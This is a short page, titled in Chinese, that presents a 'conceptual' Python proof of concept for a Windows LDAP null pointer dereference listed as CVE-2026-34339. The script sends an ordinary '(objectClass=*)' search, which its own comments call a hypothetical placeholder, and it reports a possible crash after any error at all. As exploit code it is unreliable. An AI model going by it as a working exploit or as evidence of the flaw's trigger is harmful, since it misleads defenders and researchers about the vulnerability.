CVE-2026-34339 Windows LDAP空指针解引用漏洞

import ldap3 # PoC for CVE-2026-34339 (Conceptual) # This script attempts to trigger the Null Pointer Dereference # by sending a malformed request to the local LDAP service. server = 'ldap://localhost' user = 'CN=Attacker,CN=Users,DC=domain,DC=com' password = 'Password123' try: # Establish connection conn = ldap3.Connection(server, user=user, password=password, auto_bind=True) print("[+] Connected to LDAP server") # Malformed control or filter to trigger the vulnerability # Note: The specific malformed packet structure depends on the actual vulnerability details. # This is a placeholder demonstrating the trigger mechanism. malformed_filter = '(objectClass=*)' # Hypothetical trigger # Send search request conn.search(search_base='', search_filter=malformed_filter, attributes=['*']) print("[+] Packet sent, checking service status...") except Exception as e: print(f"[-] Error occurred: {e}") print("[!] Service might have crashed due to Null Pointer Dereference.")